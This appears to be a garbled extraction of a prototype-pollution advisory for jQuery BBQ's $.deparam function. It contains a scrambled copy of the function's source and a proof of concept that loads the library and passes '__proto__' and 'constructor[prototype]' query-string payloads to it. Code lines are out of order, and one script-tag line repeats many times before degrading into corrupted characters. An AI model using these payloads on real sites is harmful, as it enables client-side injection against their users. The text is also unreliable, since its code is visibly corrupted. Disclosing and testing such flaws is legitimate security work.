// * Move the 'cur' pointer to the next level.

key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last</pre>

// * Rinse & repeat.
for (; i <= keys_last; i++) {

```
? cur[key] \mid\mid ( keys[i+1] \&\& isNaN( keys[i+1] ) ? {} : [] )
                                                      : val;
                                   } else {
                                        \ensuremath{//} Simple key, even simpler rules, since only scalars and shallow
                                        // arrays are allowed.
                                        if ( $.isArray( obj[key] ) ) {
                                            // val is already an array, so push on the next value.
obj[key].push( val );
                                        } else if ( obj[key] !== undefined ) {
                                               // val isn't an array, but since a second value has been specified,
                                                 // convert val into an array.
                                                obj[key] = [ obj[key], val ];
                                        } else {
                                                // val is a scalar.
                                                obj[key] = val;
                                 }
                          } else if ( key ) {
                                 // No value was defined, so set something meaningful.
                                  obj[key] = coerce
? undefined
: '';
                   });
                   return obj;
            };
PoC
      <script src="https://code.jquery.com/jquery-2.2.4.js"></script> \\ <script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script> \\ <script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/ga6964ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script src="https://raw.githack.com/cowboy/jquery-bbq/ga6964ba68a34bcd805e15499cb45de3f4cc398d/jquery-bbq/ga6964ba68a34bcd805e15496ba696a34bcd805e15496a34bcd805e15496a34bcd905
       <script>
           $.deparam(location.search.slice(1))
       </script>
      ?__proto__[test]=test
?constructor[prototype][test]=test
```